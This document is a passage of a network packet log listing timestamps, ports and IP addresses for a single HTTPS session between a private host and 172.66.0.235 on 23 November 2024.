Nov 23, 2024 13:38:13.369360924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.369376898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.369431019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.369436979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.369472980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.376339912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.570980072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.571010113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.571101904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.571119070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.571160078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.573112965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.573129892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.573163986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.573172092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.573200941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.573218107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.574876070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.574892044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.574923992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.574930906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.574960947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.574979067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.577290058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.577311993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.577342987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.577348948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.577374935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.577392101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.579758883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.579777002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.579813004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.579818964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.579844952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.579862118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.581572056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.581589937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.581659079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.581665039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.581701994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.582359076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.583909035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.583941936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.584057093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.584063053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.584120989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.586195946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.586215973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.586316109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.586322069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.586381912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.594719887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.763219118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.763248920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.763360023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.763384104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.763432980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.764765978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.764782906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.764816999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.764826059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.764848948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.764868021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.767182112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.767198086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.767245054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.767251968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.767282963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.767301083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.769673109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.769690990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.769743919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.769752026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.769777060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.769798040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.771554947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.771574974 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.771616936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.771625042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.771651030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.771667957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.773825884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.773840904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.773889065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.773897886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.773931980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.776316881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.776335955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.776385069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.776392937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.776427984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.778455019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.778485060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.778517962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.778525114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.778553009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.778568983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.931746960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.955279112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.955302000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.955347061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.955383062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.955413103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.955463886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.957110882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.957124949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.957173109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.957194090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.957221031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.957242012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.959543943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.959558964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.959608078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.959621906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.959650993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.959672928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.961261988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.961277008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.961319923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.961333036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.961361885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.961381912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.963789940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.963804007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.963857889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.963871956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.963922024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.966187954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.966202974 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.966242075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.966257095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.966315031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.966315031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.967931032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.967946053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.967999935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.968015909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.968070030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.970756054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.970768929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.970818043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.970830917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.970860958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.970880985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.060837030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.147250891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.147270918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.147351027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.147372007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.147425890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.149204969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.149220943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.149274111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.149291992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.149323940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.149344921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.151721954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.151738882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.151787043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.151802063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.151828051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.151849031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.153472900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.153486967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.153528929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.153542042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.153569937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.153594971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.155966043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.155981064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.156034946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.156049013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.156111956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.158330917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.158344984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.158402920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.158417940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.158464909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.160818100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.160831928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.160887957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.160901070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.160938025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.160957098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.162925005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.162941933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.162986994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.163000107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.163028955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.163049936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.193918943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.339277029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.339296103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.339382887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.339401960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.339459896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.341326952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.341341972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.341408014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.341422081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.341473103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.343749046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.343770981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.343832970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.343847990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.343897104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.345510960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.345525980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.345582962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.345597982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.345665932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.348006964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.348023891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.348077059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.348090887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.348145962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.350359917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.350375891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.350430965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.350444078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.350487947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.352826118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.352842093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.352907896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.352921963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.352988005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.354988098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.355006933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.355067015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.355079889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.355137110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.360160112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.531306028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.531327009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.531363964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.531399965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.531418085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.533468962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.533492088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.533526897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.533544064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.533562899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.533584118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.535202980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.535218954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.535599947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.535614014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.535687923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.537720919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.537735939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.537770033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.537782907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.537797928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.537887096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.540090084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.540105104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.540142059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.540160894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.540177107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.541686058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.541778088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.542530060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.542546034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.542578936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.542589903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.542643070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.542700052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.544678926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.544697046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.544750929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.544760942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.544773102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.544801950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.546509027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.546534061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.546566010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.546574116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.546601057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.546611071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.556868076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.723387957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.723413944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.723484993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.723522902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.723567009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.725368977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.725384951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.725429058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.725436926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.725457907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.725476027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.727778912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.727794886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.727843046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.727850914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.727895021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.729690075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.729716063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.729743004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.729748964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.729779959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.729799986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.731987953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.732003927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.732054949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.732062101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.732106924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.734101057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.734482050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.734497070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.734529018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.734535933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.734563112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.734579086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.736568928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.736584902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.736632109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.736638069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.736684084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.738508940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.738523960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.738557100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.738569975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.738590956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.738605022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.745107889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.915972948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.915997982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.916070938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.916110039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.916157007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.917749882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.917768955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.917831898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.917843103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.917891979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.920120001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.920140982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.920177937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.920187950 CET	443	49704	172.66.0.235	192.168.2.5
